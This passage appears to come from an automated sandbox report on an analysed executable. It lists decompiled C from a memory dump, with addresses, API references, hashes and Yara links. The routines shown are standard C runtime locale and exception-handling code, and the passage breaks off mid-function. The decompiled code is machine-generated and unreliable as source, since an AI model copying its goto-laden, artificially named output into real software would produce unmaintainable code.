				} while (_t28 != 0);
				return E004B2FCF(_t74);
			}

0x004bda53
0x004bda57
0x004bda5f
0x004bda68
0x004bda6d
0x004bda74
0x004bda7c
0x004bda84
0x004bda8f
0x004bda95
0x004bda96
0x004bda9e
0x004bdaa6
0x004bdab1
0x004bdab7
0x004bdabb
0x004bdac6
0x004bdacc
0x004bda6d
0x004bdacd
0x004bdad5
0x004bdae8
0x004bdafb
0x004bdb09
0x004bdb14
0x004bdb19
0x004bdb22
0x004bdb2a
0x004bdb2b
0x004bdb31
0x004bdb34
0x004bdb37
0x004bdb3e
0x004bdb40
0x004bdb44
0x004bdb4c
0x004bdb53
0x004bdb59
0x004bdb5a
0x004bdb5a
0x004bdb61
0x004bdb63
0x004bdb68
0x004bdb70
0x004bdb75
0x004bdb76
0x004bdb76
0x004bdb79
0x004bdb7c
0x004bdb7f
0x004bdb82
0x004bdb82
0x004bdb94

APIs

___free_lconv_mon.LIBCMT ref: 004BDA8F

Part of subcall function 004BCDDE: _free.LIBCMT ref: 004BCDFB
Part of subcall function 004BCDDE: _free.LIBCMT ref: 004BCE0D
Part of subcall function 004BCDDE: _free.LIBCMT ref: 004BCE1F
Part of subcall function 004BCDDE: _free.LIBCMT ref: 004BCE31
Part of subcall function 004BCDDE: _free.LIBCMT ref: 004BCE43
Part of subcall function 004BCDDE: _free.LIBCMT ref: 004BCE55
Part of subcall function 004BCDDE: _free.LIBCMT ref: 004BCE67
Part of subcall function 004BCDDE: _free.LIBCMT ref: 004BCE79
Part of subcall function 004BCDDE: _free.LIBCMT ref: 004BCE8B
Part of subcall function 004BCDDE: _free.LIBCMT ref: 004BCE9D
Part of subcall function 004BCDDE: _free.LIBCMT ref: 004BCEAF
Part of subcall function 004BCDDE: _free.LIBCMT ref: 004BCEC1
Part of subcall function 004BCDDE: _free.LIBCMT ref: 004BCED3

_free.LIBCMT ref: 004BDA84

Part of subcall function 004B2FCF: RtlFreeHeap.NTDLL(00000000,00000000,?,004BD54B,?,00000000,?,00000000,?,004BD7EF,?,00000007,?,?,004BDBE3,?), ref: 004B2FE5

_free.LIBCMT ref: 004BDAA6
_free.LIBCMT ref: 004BDABB
_free.LIBCMT ref: 004BDAC6
_free.LIBCMT ref: 004BDAE8
_free.LIBCMT ref: 004BDAFB
_free.LIBCMT ref: 004BDB09
_free.LIBCMT ref: 004BDB14
_free.LIBCMT ref: 004BDB4C
_free.LIBCMT ref: 004BDB53
_free.LIBCMT ref: 004BDB70
_free.LIBCMT ref: 004BDB88

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free$FreeHeap___free_lconv_mon
String ID:
API String ID: 358854727-0
Opcode ID: 414be654a2f0fb56b3e1cf125740efc78b3658e506fb9c3ebd9cd1fa168eb216
Instruction ID: ea171fb04e103e79ad14022c68cc06d52c79bff9a145cefa33e706fbd9c84d7e
Opcode Fuzzy Hash: 414be654a2f0fb56b3e1cf125740efc78b3658e506fb9c3ebd9cd1fa168eb216
Instruction Fuzzy Hash: A8319E31A083009FDB21AA3AD945BE7B3E8EF44354F1545AFE458D7255EB78BC809B38

Uniqueness

Uniqueness Score: -1.00%

Function 004BCEDC, Relevance: 18.4, APIs: 12, Instructions: 376
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E004BCEDC(char _a4) {
				void* _v8;
				void* _v12;
				signed int _v16;
				intOrPtr* _v20;
				signed int _v24;
				char _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t105;
				char _t195;
				char _t210;
				signed int _t213;
				char* _t225;
				signed int _t226;
				signed int _t230;
				signed int _t231;
				intOrPtr _t232;
				void* _t233;
				void* _t235;
				signed int _t236;
				signed int _t237;
				signed int _t238;
				signed int _t239;
				signed int _t240;
				signed int _t241;
				signed int _t242;
				signed int _t243;
				signed int _t244;
				signed int _t245;
				signed int _t246;
				signed int _t247;
				signed int _t248;
				signed int _t249;
				signed int _t250;
				signed int _t251;
				signed int _t252;
				signed int _t253;
				signed int _t254;
				signed int _t255;
				char* _t256;

				_t210 = _a4;
				_v16 = 0;
				_v28 = _t210;
				_v24 = 0;
				if( *((intOrPtr*)(_t210 + 0xac)) != 0 ||  *((intOrPtr*)(_t210 + 0xb0)) != 0) {
					_t233 = E004B2F72(0, 1, 0x50);
					_v8 = _t233;
					E004B2FCF(0);
					if(_t233 != 0) {
						_t226 = E004B2F72(0, 1, 4);
						_v12 = _t226;
						E004B2FCF(0);
						if(_t226 != 0) {
							if( *((intOrPtr*)(_t210 + 0xac)) == 0) {
								_t213 = 0x14;
								memcpy(_v8, 0x4eb098, _t213 << 2);
								L25:
								_t235 = _v8;
								_t230 = _v16;
								 *_t235 =  *( *(_t210 + 0x88));
								 *((intOrPtr*)(_t235 + 4)) =  *((intOrPtr*)( *(_t210 + 0x88) + 4));
								 *((intOrPtr*)(_t235 + 8)) =  *((intOrPtr*)( *(_t210 + 0x88) + 8));
								 *((intOrPtr*)(_t235 + 0x30)) =  *((intOrPtr*)( *(_t210 + 0x88) + 0x30));
								 *((intOrPtr*)(_t235 + 0x34)) =  *((intOrPtr*)( *(_t210 + 0x88) + 0x34));
								 *_v12 = 1;
								if(_t230 != 0) {
									 *_t230 = 1;
								}
								goto L27;
							}
							_t231 = E004B2F72(0, 1, 4);
							_v16 = _t231;
							E004B2FCF(0);
							if(_t231 != 0) {
								_t232 =  *((intOrPtr*)(_t210 + 0xac));
								_t14 = _t233 + 0xc; // 0xc
								_t236 = E004BAC52(_t210, _t232, _t233);
								_t237 = _t236 | E004BAC52(_t210, _t232, _t236,  &_v28, 1, _t232, 0x14, _v8 + 0x10,  &_v28);
								_t238 = _t237 | E004BAC52(_t210, _t232, _t237,  &_v28, 1, _t232, 0x16, _v8 + 0x14, 1);
								_t239 = _t238 | E004BAC52(_t210, _t232, _t238,  &_v28, 1, _t232, 0x17, _v8 + 0x18, _t232);
								_v20 = _v8 + 0x1c;
								_t240 = _t239 | E004BAC52(_t210, _t232, _t239,  &_v28, 1, _t232, 0x18, _v8 + 0x1c, 0x15);
								_t241 = _t240 | E004BAC52(_t210, _t232, _t240,  &_v28, 1, _t232, 0x50, _v8 + 0x20, _t14);
								_t242 = _t241 | E004BAC52(_t210, _t232, _t241);
								_t243 = _t242 | E004BAC52(_t210, _t232, _t242,  &_v28, 0, _t232, 0x1a, _v8 + 0x28,  &_v28);
								_t244 = _t243 | E004BAC52(_t210, _t232, _t243,  &_v28, 0, _t232, 0x19, _v8 + 0x29, 1);
								_t245 = _t244 | E004BAC52(_t210, _t232, _t244,  &_v28, 0, _t232, 0x54, _v8 + 0x2a, _t232);
								_t246 = _t245 | E004BAC52(_t210, _t232, _t245,  &_v28, 0, _t232, 0x55, _v8 + 0x2b, 0x51);
								_t247 = _t246 | E004BAC52(_t210, _t232, _t246,  &_v28, 0, _t232, 0x56, _v8 + 0x2c, _v8 + 0x24);
								_t248 = _t247 | E004BAC52(_t210, _t232, _t247);
								_t249 = _t248 | E004BAC52(_t210, _t232, _t248,  &_v28, 0, _t232, 0x52, _v8 + 0x2e,  &_v28);
								_t250 = _t249 | E004BAC52(_t210, _t232, _t249,  &_v28, 0, _t232, 0x53, _v8 + 0x2f, 0);
								_t251 = _t250 | E004BAC52(_t210, _t232, _t250,  &_v28, 2, _t232, 0x15, _v8 + 0x38, _t232);
								_t252 = _t251 | E004BAC52(_t210, _t232, _t251,  &_v28, 2, _t232, 0x14, _v8 + 0x3c, 0x57);
								_t253 = _t252 | E004BAC52(_t210, _t232, _t252,  &_v28, 2, _t232, 0x16, _v8 + 0x40, _v8 + 0x2d);
								_push(_v8 + 0x44);
								_push(0x17);
								_push(_t232);
								_t254 = _t253 | E004BAC52(_t210, _t232, _t253);
								_t255 = _t254 | E004BAC52(_t210, _t232, _t254,  &_v28, 2, _t232, 0x50, _v8 + 0x48,  &_v28);
								if((E004BAC52(_t210, _t232, _t255,  &_v28, 2, _t232, 0x51, _v8 + 0x4c, 2) | _t255) == 0) {
									_t225 =  *_v20;
									while( *_t225 != 0) {
										_t195 =  *_t225;
										if(_t195 < 0x30 || _t195 > 0x39) {
											if(_t195 != 0x3b) {
												goto L17;
											}
											_t256 = _t225;
											do {
												 *_t256 =  *((intOrPtr*)(_t256 + 1));
												_t256 = _t256 + 1;
											} while ( *_t256 != 0);
										} else {
											 *_t225 = _t195 - 0x30;
											L17:
											_t225 = _t225 + 1;
										}
									}
									goto L25;
								}
								E004BCDDE(_v8);
								E004B2FCF(_v8);
								E004B2FCF(_v12);
								E004B2FCF(_v16);
								goto L4;
							}
							E004B2FCF(_t233);
							E004B2FCF(_v12);
							L7:
							goto L4;
						}
						E004B2FCF(_t233);
						goto L7;
					}
					L4:
					return 1;
				} else {
					_t230 = 0;
					_v12 = 0;
					_t235 = 0x4eb098;
					L27:
					_t105 =  *(_t210 + 0x84);
					if(_t105 != 0) {
						asm("lock dec dword [eax]");
					}
					if( *((intOrPtr*)(_t210 + 0x7c)) != 0) {
						asm("lock xadd [ecx], eax");
						if((_t105 | 0xffffffff) == 0) {
							E004B2FCF( *(_t210 + 0x88));
							E004B2FCF( *((intOrPtr*)(_t210 + 0x7c)));
						}
					}
					 *((intOrPtr*)(_t210 + 0x7c)) = _v12;
					 *(_t210 + 0x84) = _t230;
					 *(_t210 + 0x88) = _t235;
					return 0;
				}
			}

0x004bcee5
0x004bceec
0x004bceef
0x004bcef2
0x004bcefb
0x004bcf1d
0x004bcf21
0x004bcf24
0x004bcf2e
0x004bcf41
0x004bcf45
0x004bcf48
0x004bcf52
0x004bcf64
0x004bd1fa
0x004bd1fb
0x004bd1fd
0x004bd205
0x004bd209
0x004bd20e
0x004bd219
0x004bd225
0x004bd231
0x004bd23d
0x004bd243
0x004bd247
0x004bd249
0x004bd249
0x00000000
0x004bd247
0x004bcf73
0x004bcf77
0x004bcf7a
0x004bcf84
0x004bcf98
0x004bcf9e
0x004bcfb3
0x004bcfc7
0x004bcfde
0x004bcff8
0x004bd000
0x004bd012
0x004bd029
0x004bd040
0x004bd05a
0x004bd071
0x004bd088
0x004bd09f
0x004bd0b9
0x004bd0d0
0x004bd0e7
0x004bd0fe
0x004bd118
0x004bd12f
0x004bd146
0x004bd14e
0x004bd14f
0x004bd151
0x004bd15d
0x004bd177
0x004bd193
0x004bd1c1
0x004bd1d4
0x004bd1c5
0x004bd1c9
0x004bd1dd
0x00000000
0x00000000
0x004bd1df
0x004bd1e1
0x004bd1e4
0x004bd1e6
0x004bd1e9
0x004bd1cf
0x004bd1d1
0x004bd1d3
0x004bd1d3
0x004bd1d3
0x004bd1c9
0x00000000
0x004bd1d9
0x004bd199
0x004bd19f
0x004bd1a8
0x004bd1b1
0x00000000
0x004bd1b6
0x004bcf87
0x004bcf90
0x004bcf5a
0x00000000
0x004bcf5a
0x004bcf55
0x00000000
0x004bcf55
0x004bcf30
0x00000000
0x004bcf05
0x004bcf05
0x004bcf07
0x004bcf0a
0x004bd24b
0x004bd24b
0x004bd253
0x004bd255
0x004bd255
0x004bd25d
0x004bd262
0x004bd266
0x004bd26e
0x004bd276
0x004bd27c
0x004bd266
0x004bd280
0x004bd285
0x004bd28b
0x00000000
0x004bd28b

APIs

_free.LIBCMT ref: 004BCF24
_free.LIBCMT ref: 004BCF48
_free.LIBCMT ref: 004BCF55
_free.LIBCMT ref: 004BCF7A
_free.LIBCMT ref: 004BCF87
_free.LIBCMT ref: 004BCF90
_free.LIBCMT ref: 004BD26E
_free.LIBCMT ref: 004BD276

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 60bfcd6df8605fe5ed4878f4d10e6d0750fb59e4e33e636ece81b8e8ea909c17
Instruction ID: 88ec5743d30fd5a22a257532df4467679931d779ffe61120a42249d80850000e
Opcode Fuzzy Hash: 60bfcd6df8605fe5ed4878f4d10e6d0750fb59e4e33e636ece81b8e8ea909c17
Instruction Fuzzy Hash: BEC13571D40204ABDB20DFA9CC83FEA77F8AB44704F14416AFA05EB282E674DD519B75

Uniqueness

Uniqueness Score: -1.00%

Function 004BD301, Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 204
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E004BD301(char _a4) {
				void* _v8;
				void* _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				char _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t53;
				void _t57;
				intOrPtr _t58;
				intOrPtr _t59;
				intOrPtr _t60;
				intOrPtr _t61;
				signed int _t64;
				char _t92;
				char _t100;
				void* _t101;
				signed int _t104;
				void* _t107;
				char* _t122;
				signed int _t126;
				intOrPtr* _t131;
				void* _t132;
				intOrPtr* _t133;
				signed int _t134;
				signed int _t135;
				signed int _t136;
				signed int _t137;
				char* _t138;

				_t100 = _a4;
				_v28 = _t100;
				_v24 = 0;
				if( *((intOrPtr*)(_t100 + 0xb0)) != 0 ||  *((intOrPtr*)(_t100 + 0xac)) != 0) {
					_v16 = 1;
					_t53 = E004B2F72(_t101, 1, 0x50);
					_v8 = _t53;
					if(_t53 != 0) {
						_t104 = 0x14;
						memcpy(_t53,  *(_t100 + 0x88), _t104 << 2);
						_t131 = E004B3009(0, 4);
						_t126 = 0;
						_v12 = _t131;
						E004B2FCF(0);
						_pop(_t107);
						if(_t131 != 0) {
							 *_t131 = 0;
							if( *((intOrPtr*)(_t100 + 0xb0)) == 0) {
								_t132 = _v8;
								_t57 =  *0x4eb098; // 0x4eb090
								 *_t132 = _t57;
								_t58 =  *0x4eb09c; // 0x4ee440
								 *((intOrPtr*)(_t132 + 4)) = _t58;
								_t59 =  *0x4eb0a0; // 0x4ee440
								 *((intOrPtr*)(_t132 + 8)) = _t59;
								_t60 =  *0x4eb0c8; // 0x4eb094
								 *((intOrPtr*)(_t132 + 0x30)) = _t60;
								_t61 =  *0x4eb0cc; // 0x4ee444
								 *((intOrPtr*)(_t132 + 0x34)) = _t61;
								L19:
								 *_v12 = 1;
								if(_t126 != 0) {
									 *_t126 = 1;
								}
								goto L21;
							}
							_t133 = E004B3009(_t107, 4);
							_v20 = _t133;
							E004B2FCF(0);
							if(_t133 == 0) {
								L11:
								E004B2FCF(_v8);
								E004B2FCF(_v12);
								return _v16;
							}
							_push(_v8);
							 *_t133 = 0;
							_t127 =  *((intOrPtr*)(_t100 + 0xb0));
							_t134 = E004BAC52(_t100,  *((intOrPtr*)(_t100 + 0xb0)), _t133);
							_t135 = _t134 | E004BAC52(_t100,  *((intOrPtr*)(_t100 + 0xb0)), _t134,  &_v28, 1,  *((intOrPtr*)(_t100 + 0xb0)), 0xf, _v8 + 4,  &_v28);
							_v16 = _v8 + 8;
							_t136 = _t135 | E004BAC52(_t100, _t127, _t135,  &_v28, 1, _t127, 0x10, _v8 + 8, 1);
							_t137 = _t136 | E004BAC52(_t100, _t127, _t136,  &_v28, 2, _t127, 0xe, _v8 + 0x30, _t127);
							if((E004BAC52(_t100, _t127, _t137,  &_v28, 2, _t127, 0xf, _v8 + 0x34, 0xe) | _t137) == 0) {
								_t122 =  *_v16;
								while( *_t122 != 0) {
									_t92 =  *_t122;
									if(_t92 < 0x30 || _t92 > 0x39) {
										if(_t92 != 0x3b) {
											goto L16;
										}
										_t138 = _t122;
										do {
											 *_t138 =  *((intOrPtr*)(_t138 + 1));
											_t138 = _t138 + 1;
										} while ( *_t138 != 0);
									} else {
										 *_t122 = _t92 - 0x30;
										L16:
										_t122 = _t122 + 1;
									}
								}
								_t126 = _v20;
								_t132 = _v8;
								goto L19;
							}
							E004BD298(_v8);
							_v16 = _v16 | 0xffffffff;
							goto L11;
						}
						E004B2FCF(_v8);
						return 1;
					}
					return 1;
				} else {
					_t126 = 0;
					_v12 = 0;
					_t132 = 0x4eb098;
					L21:
					_t64 =  *(_t100 + 0x80);
					if(_t64 != 0) {
						asm("lock dec dword [eax]");
					}
					if( *((intOrPtr*)(_t100 + 0x7c)) != 0) {
						asm("lock xadd [ecx], eax");
						if((_t64 | 0xffffffff) == 0) {
							E004B2FCF( *((intOrPtr*)(_t100 + 0x7c)));
							E004B2FCF( *(_t100 + 0x88));
						}
					}
					 *((intOrPtr*)(_t100 + 0x7c)) = _v12;
					 *(_t100 + 0x80) = _t126;
					 *(_t100 + 0x88) = _t132;
					return 0;
				}
			}

0x004bd30a
0x004bd311
0x004bd314
0x004bd31d
0x004bd33c
0x004bd33f
0x004bd344
0x004bd34b
0x004bd35e
0x004bd35f
0x004bd368
0x004bd36a
0x004bd36d
0x004bd370
0x004bd376
0x004bd379
0x004bd38c
0x004bd394
0x004bd4ee
0x004bd4f1
0x004bd4f6
0x004bd4f8
0x004bd4fd
0x004bd500
0x004bd505
0x004bd508
0x004bd50d
0x004bd510
0x004bd515
0x004bd47e
0x004bd484
0x004bd488
0x004bd48a
0x004bd48a
0x00000000
0x004bd488
0x004bd3a1
0x004bd3a4
0x004bd3a7
0x004bd3b0
0x004bd445
0x004bd448
0x004bd451
0x00000000
0x004bd45a
0x004bd3b6
0x004bd3b9
0x004bd3be
0x004bd3d2
0x004bd3e6
0x004bd3f2
0x004bd400
0x004bd41a
0x004bd436
0x004bd460
0x004bd473
0x004bd464
0x004bd468
0x004bd4db
0x00000000
0x00000000
0x004bd4dd
0x004bd4df
0x004bd4e2
0x004bd4e4
0x004bd4e7
0x004bd46e
0x004bd470
0x004bd472
0x004bd472
0x004bd472
0x004bd468
0x004bd478
0x004bd47b
0x00000000
0x004bd47b
0x004bd43b
0x004bd440
0x00000000
0x004bd444
0x004bd37e
0x00000000
0x004bd386
0x00000000
0x004bd327
0x004bd327
0x004bd329
0x004bd32c
0x004bd48c
0x004bd48c
0x004bd494
0x004bd496
0x004bd496
0x004bd49e
0x004bd4a3
0x004bd4a7
0x004bd4ac
0x004bd4b7
0x004bd4bd
0x004bd4a7
0x004bd4c1
0x004bd4c6
0x004bd4cc
0x00000000
0x004bd4cc

APIs

_free.LIBCMT ref: 004BD370
_free.LIBCMT ref: 004BD37E
_free.LIBCMT ref: 004BD4AC
_free.LIBCMT ref: 004BD4B7

Strings

@N, xrefs: 004BD500
@N, xrefs: 004BD4F8
DN, xrefs: 004BD510

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free
String ID: @N$@N$DN
API String ID: 269201875-95471587
Opcode ID: b5a9e389aa254042dce70f216a2f32f77fbb28ed1f8b5cd2830eb09921ce6248
Instruction ID: 620b9ed788cc5ef679bbbdde6e78add46e834bae98315cdb043e8cb399df271f
Opcode Fuzzy Hash: b5a9e389aa254042dce70f216a2f32f77fbb28ed1f8b5cd2830eb09921ce6248
Instruction Fuzzy Hash: 6F61D371D00205AFDB20DF65C842BEABBF4EF44310F1441ABE954EB342E774AD419BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00492A32, Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 78
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00492A32(intOrPtr __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t32;
				intOrPtr _t37;
				intOrPtr _t42;
				intOrPtr _t49;
				intOrPtr _t50;
				signed int _t51;
				signed int _t56;
				void* _t66;
				void* _t67;
				void* _t68;
				void* _t69;
				void* _t70;
				void* _t71;

				_t50 = __ecx;
				_push(0x64);
				E0049D93F(0x4d6dcb, __edi, __esi);
				_t49 = _t50;
				 *((intOrPtr*)(_t68 - 0x6c)) = E004A5AB9();
				_t32 = E00489787(_t68 - 0x68);
				_t51 = 0xb;
				_t66 = _t32;
				 *((intOrPtr*)(_t68 - 0x70)) = _t49;
				memcpy(_t68 - 0x3c, _t66, _t51 << 2);
				_t70 = _t69 + 0xc;
				_t62 = _t66 + _t51 + _t51;
				_t67 = 0;
				 *((intOrPtr*)(_t49 + 8)) = 0;
				 *((intOrPtr*)(_t49 + 0x10)) = 0;
				 *((intOrPtr*)(_t49 + 0x14)) = 0;
				 *((intOrPtr*)(_t68 - 4)) = 0;
				E00489787(_t68 - 0x68);
				_t76 =  *((char*)(_t68 + 0xc));
				if( *((char*)(_t68 + 0xc)) == 0) {
					_t37 =  *((intOrPtr*)( *((intOrPtr*)(_t68 - 0x6c)) + 8));
				} else {
					_t37 = 0x40f063;
				}
				_push(_t68 - 0x68);
				_push(_t67);
				 *((intOrPtr*)(_t49 + 8)) = E004302EE(_t62, _t67, _t68, _t76, _t37);
				 *((intOrPtr*)(_t49 + 0x10)) = E0048BD4A(_t49, _t62, _t67, "false", _t67, _t68 - 0x3c);
				_t42 = E0048BD4A(_t49, _t62, _t67, "true", _t67, _t68 - 0x3c);
				_t71 = _t70 + 0x24;
				 *((intOrPtr*)(_t49 + 0x14)) = _t42;
				if( *((char*)(_t68 + 0xc)) == 0) {
					_t67 = _t68 - 0x3c;
					_t56 = 0xb;
					_push( *((intOrPtr*)(_t68 - 0x6c)));
					memcpy(_t71 - 0x2c, _t67, _t56 << 2);
					_t62 = _t67 + _t56 + _t56;
					_push(0);
					_t44 = E0048BB7A(_t49, _t49, _t67 + _t56 + _t56, _t67, __eflags);
				} else {
					 *((short*)(_t49 + 0xc)) = E0048BD19(0x2e, _t67, _t68 - 0x3c);
					 *((short*)(_t49 + 0xe)) = E0048BD19(0x2c, _t67, _t68 - 0x3c);
				}
				return E0049D8E9(_t44, _t62, _t67);
			}

0x00492a32
0x00492a32
0x00492a39
0x00492a3e
0x00492a45
0x00492a4c
0x00492a53
0x00492a54
0x00492a56
0x00492a5c
0x00492a5c
0x00492a5c
0x00492a5e
0x00492a60
0x00492a63
0x00492a66
0x00492a6c
0x00492a70
0x00492a75
0x00492a7b
0x00492a87
0x00492a7d
0x00492a7d
0x00492a7d
0x00492a8d
0x00492a8e
0x00492a95
0x00492aa7
0x00492ab4
0x00492ab9
0x00492abc
0x00492ac3
0x00492aed
0x00492af2
0x00492af5
0x00492af8
0x00492af8
0x00492afa
0x00492afe
0x00492ac5
0x00492ad1
0x00492ae4
0x00492ae4
0x00492b08

APIs

__EH_prolog3_GS.LIBCMT ref: 00492A39
__Getcvt.LIBCPMT ref: 00492A4C
__Getcvt.LIBCPMT ref: 00492A70
_Maklocstr.LIBCPMT ref: 00492AA2
_Maklocstr.LIBCPMT ref: 00492AB4
_Maklocchr.LIBCPMT ref: 00492ACC
_Maklocchr.LIBCPMT ref: 00492ADC
_Getvals.LIBCPMT ref: 00492AFE

Part of subcall function 0048BB7A: _Maklocchr.LIBCPMT ref: 0048BBA9
Part of subcall function 0048BB7A: _Maklocchr.LIBCPMT ref: 0048BBBF

Strings

false, xrefs: 00492A9D
true, xrefs: 00492AAF

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Maklocchr$GetcvtMaklocstr$GetvalsH_prolog3_
String ID: false$true
API String ID: 2593140031-2658103896
Opcode ID: 1b794403c0e2ed099c2747d619b99f1e635c68d51cf8e98238ac27895ff0e1ec
Instruction ID: 31ba32b91284d4dbf03300cb929e666aaf157df395ef2d33d70c23c77514e452
Opcode Fuzzy Hash: 1b794403c0e2ed099c2747d619b99f1e635c68d51cf8e98238ac27895ff0e1ec
Instruction Fuzzy Hash: 27216771D00204BEDF14FFA1D845A9F7BA8EF04714F14842BB9059F242D7789544CB99

Uniqueness

Uniqueness Score: -1.00%

Function 004A171D, Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 308
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E004A171D(signed int __ecx, signed int __edx, signed char* _a4, signed int _a8, signed int _a12, char _a16, signed int* _a20, char _a24, signed int _a28, signed int _a32) {
				signed char* _v0;
				char _v5;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				char _v28;
				char _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr* _v48;
				signed int _v52;
				signed int* _v56;
				intOrPtr _v60;
				void _v64;
				signed int _v68;
				void* _v72;
				char _v88;
				intOrPtr _v92;
				signed int _v96;
				intOrPtr _v104;
				void _v108;
				intOrPtr* _v116;
				signed char* _v188;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t203;
				void* _t204;
				char _t206;
				signed int _t208;
				signed int _t210;
				signed char* _t211;
				signed int _t212;
				signed int _t213;
				signed int _t217;
				void* _t220;
				signed char* _t223;
				void* _t226;
				void* _t227;
				signed int _t232;
				void* _t234;
				signed int _t235;
				void* _t238;
				intOrPtr* _t253;
				void* _t256;
				signed int* _t258;
				signed int _t259;
				intOrPtr _t260;
				signed int _t261;
				void* _t266;
				void* _t268;
				void* _t271;
				signed char* _t275;
				intOrPtr* _t276;
				signed char _t277;
				signed int _t278;
				signed int _t279;
				intOrPtr* _t281;
				signed int _t282;
				signed int _t283;
				signed int _t288;
				signed int _t295;
				signed int _t296;
				intOrPtr _t299;
				signed int _t305;
				signed char* _t306;
				signed int _t307;
				signed int _t308;
				signed int* _t310;
				signed char* _t313;
				signed int _t323;
				signed int _t324;
				signed int _t326;
				signed int _t335;
				void* _t337;
				void* _t339;
				void* _t340;
				void* _t341;
				void* _t342;

				_t305 = __edx;
				_t280 = __ecx;
				_push(_t324);
				_t310 = _a20;
				_v32 = 0;
				_v5 = 0;
				_t203 = E004A26AA(_a8, _a16, _t310);
				_t340 = _t339 + 0xc;
				_v16 = _t203;
				if(_t203 < 0xffffffff || _t203 >= _t310[1]) {
					L69:
					_t204 = E004AEA83(_t275, _t305, _t310, _t324);
					asm("int3");
					_t337 = _t340;
					_t341 = _t340 - 0x38;
					_push(_t275);
					_t276 = _v116;
					__eflags =  *_t276 - 0x80000003;
					if(__eflags == 0) {
						return _t204;
					} else {
						_push(_t324);
						_push(_t310);
						__eflags =  *(E004A13A1(_t276, _t280, _t305, _t310, _t324, __eflags) + 8);
						if(__eflags != 0) {
							_t324 =  *0x4f01d0(0);
							_t226 = E004A13A1(_t276, _t280, _t305, 0, _t324, __eflags);
							__eflags =  *((intOrPtr*)(_t226 + 8)) - _t324;
							if( *((intOrPtr*)(_t226 + 8)) != _t324) {
								__eflags =  *_t276 - 0xe0434f4d;
								if( *_t276 != 0xe0434f4d) {
									__eflags =  *_t276 - 0xe0434352;
									if( *_t276 != 0xe0434352) {
										_t217 = E0049EC91(_t276, _a4, _a8, _a12, _a16, _a24, _a28);
										_t341 = _t341 + 0x1c;
										__eflags = _t217;
										if(_t217 != 0) {
											L86:
											return _t217;
										}
									}
								}
							}
						}
						_t206 = _a16;
						_v28 = _t206;
						_v24 = 0;
						__eflags =  *(_t206 + 0xc);
						if( *(_t206 + 0xc) > 0) {
							_push(_a24);
							E0049EBC3(_t276, _t280, 0, _t324,  &_v44,  &_v28, _a20, _a12, _t206);
							_t307 = _v40;
							_t342 = _t341 + 0x18;
							_t217 = _v44;
							_v20 = _t217;
							_v12 = _t307;
							__eflags = _t307 - _v32;
							if(_t307 >= _v32) {
								goto L86;
							}
							_t282 = _t307 * 0x14;
							__eflags = _t282;
							_v16 = _t282;
							do {
								_t283 = 5;
								_t220 = memcpy( &_v64,  *((intOrPtr*)( *_t217 + 0x10)) + _t282, _t283 << 2);
								_t342 = _t342 + 0xc;
								__eflags = _v64 - _t220;
								if(_v64 > _t220) {
									goto L85;
								}
								__eflags = _t220 - _v60;
								if(_t220 > _v60) {
									goto L85;
								}
								_t223 = _v48 + 0xfffffff0 + (_v52 << 4);
								_t288 = _t223[4];
								__eflags = _t288;
								if(_t288 == 0) {
									L83:
									__eflags =  *_t223 & 0x00000040;
									if(( *_t223 & 0x00000040) == 0) {
										_push(0);
										_push(1);
										E004A169D(_t307, _t276, _a4, _a8, _a12, _a16, _t223, 0,  &_v64, _a24, _a28);
										_t307 = _v12;
										_t342 = _t342 + 0x30;
									}
									goto L85;
								}
								__eflags =  *((char*)(_t288 + 8));
								if( *((char*)(_t288 + 8)) != 0) {
									goto L85;
								}
								goto L83;
								L85:
								_t307 = _t307 + 1;
								_t217 = _v20;
								_t282 = _v16 + 0x14;
								_v12 = _t307;
								_v16 = _t282;
								__eflags = _t307 - _v32;
							} while (_t307 < _v32);
							goto L86;
						}
						E004AEA83(_t276, _t305, 0, _t324);
						asm("int3");
						_push(_t337);
						_t306 = _v188;
						_push(_t276);
						_push(_t324);
						_push(0);
						_t208 = _t306[4];
						__eflags = _t208;
						if(_t208 == 0) {
							L111:
							_t210 = 1;
							__eflags = 1;
						} else {
							_t281 = _t208 + 8;
							__eflags =  *_t281;
							if( *_t281 == 0) {
								goto L111;
							} else {
								__eflags =  *_t306 & 0x00000080;
								_t313 = _v0;
								if(( *_t306 & 0x00000080) == 0) {
									L93:
									_t277 = _t313[4];
									_t326 = 0;
									__eflags = _t208 - _t277;
									if(_t208 == _t277) {
										L103:
										__eflags =  *_t313 & 0x00000002;
										if(( *_t313 & 0x00000002) == 0) {
											L105:
											_t211 = _a4;
											__eflags =  *_t211 & 0x00000001;
											if(( *_t211 & 0x00000001) == 0) {
												L107:
												__eflags =  *_t211 & 0x00000002;
												if(( *_t211 & 0x00000002) == 0) {
													L109:
													_t326 = 1;
													__eflags = 1;
												} else {
													__eflags =  *_t306 & 0x00000002;
													if(( *_t306 & 0x00000002) != 0) {
														goto L109;
													}
												}
											} else {
												__eflags =  *_t306 & 0x00000001;
												if(( *_t306 & 0x00000001) != 0) {
													goto L107;
												}
											}
										} else {
											__eflags =  *_t306 & 0x00000008;
											if(( *_t306 & 0x00000008) != 0) {
												goto L105;
											}
										}
										_t210 = _t326;
									} else {
